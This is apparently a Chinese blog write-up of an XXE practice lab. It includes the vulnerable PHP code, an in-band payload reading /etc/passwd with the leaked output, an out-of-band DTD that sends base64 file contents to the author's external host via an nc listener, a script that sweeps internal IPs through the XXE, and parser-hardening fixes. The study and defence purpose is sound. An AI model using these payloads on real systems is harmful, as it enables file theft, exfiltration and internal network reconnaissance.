XXE漏洞学习-XXE_LAB
August 31, 2020 WEB安全 访问: 60 次
原理
服务器在接受传递过来的xml时,没有作严格的过滤,导致我们输入的payload能够进行文件读取、端口扫描、执行系统命令等
XXE_LAB
这是一个xxe靶场,包含有php、python、java等环境
环境配置
#===========================
# 标准镜像,只支持ubuntu和centos
#===========================
FROM centos:6.9
#============
# 安装apache2 php软件等
#============
RUN yum install -y initscripts && \
yum install -y httpd && \
yum install -y mysql-server && \
yum install -y \
php \
php-mysql \
php-gd \
libjpeg* \
php-ldap \
php-odbc \
php-pear \
php-xml \
php-xmlrpc \
php-mbstring \
php-bcmath \
php-mhash
#============
# 安装mysql
#============
RUN service httpd start && \
service mysqld start
#============
# 拷贝文件
#============
COPY ./1.sh /1.sh
RUN chmod 755 -R /1.sh
CMD ["sh","1.sh"]
------------------
1.sh
#!/bin/bash
service httpd start
service mysqld start
while true
do
sleep 1
done
审计代码
index.html
中把我们输入的username
和password
以xml的形式发送到了doLogin.php
<script type='text/javascript'>
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
doLogin.php
中对发送过来的数据进行解析并且把解析后的数据显示在页面上
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
这里对我们输入的信息没有做过滤,所以就会造成XXE漏洞
有回显XXE读取文件
POST /php_xxe/doLogin.php HTTP/1.1
Host: 10.211.55.9:10001
Content-Length: 157
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://10.211.55.9:10001
Referer: http://10.211.55.9:10001/php_xxe/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///etc/passwd">]>
<user><username>&test;</username><password>Mikasa</password></user>
返回的http请求
HTTP/1.1 200 OK
Date: Mon, 31 Aug 2020 05:49:35 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 809
Connection: close
Content-Type: text/html; charset=utf-8
<result><code>0</code><msg>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
</msg></result>
成功读取出文件
无回显XXE读取文件
服务器配置:
filename: test.dtd
content:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://radishes.top:12345?p=%file;'>">
然后对其端口进行监听
nc -lvv 12345
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://radishes.top/test/test.dtd">
%remote;%int;%send;
]>
服务器接收数据:
➜ test nc -lvv 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [115.34.247.16] port 12345 [tcp/*] accepted (family 2, sport 26733)
GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApiaW46eDoxOjE6YmluOi9iaW46L3NiaW4vbm9asddwddsaZTovdmdsfFyL3d3dzovc2Jpbaasdi9ub2xvZ2luffasCm15c3FsOng6Mjc6Mjc6TXlTUUwgU2VydmVyOi92YXIvbGlsdaiL215c3FsOi9iaW4vYmFzaAo= HTTP/1.0
Host: radishes.top:12345
➜ test
内网主机探测
首先利用file来读取一些主机信息,从中可以发现该主机内网的一些信息
/etc/hosts
/proc/net/arp
/etc/network/interfaces
思路就是通过XXE来通过Http协议来进行探测
#coding:utf-8
#author:radishes.top
import requests
def send_http(target,ip,index):
payload = "<?xml version=\"1.0\"?>\n"
payload += "<!DOCTYPE Mikasa [\n"
payload += "<!ENTITY test SYSTEM \"php://filter/read=convert.base64-encode/resource=http://"+ip+"%d\">]>\n"%(index)
payload += "<user><username>&test;</username><password>Mikasa</password></user>"
# print payload
header = {'Content-Type': 'application/xml'}
r = requests.post(target,data=payload,headers=header,timeout=5)
return ip+str(index),len(r.text)
if __name__ == "__main__":
target = "http://10.211.55.9:10001/php_xxe/doLogin.php"
ip = "172.17.0."
index = 0
while index<255:
currnet_ip,res = send_http(target,ip,index)
print currnet_ip,res
index=index+1
'''
172.17.0.0 42
172.17.0.1 42
172.17.0.2 76806
172.17.0.3 50
172.17.0.4 42
172.17.0.5 42
172.17.0.6 42
'''
探测主机开放端口
这个我在根据网上所说的payload尝试的时候,并没有成功的输出一些Connection refused
等信息
如果端口未开放的时候,访问时间会很快,而且http返回响应码是200,如果端口开放的话,返回时间会很长,http返回响应码是500
ps:也许是我的操作不太对
防御
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))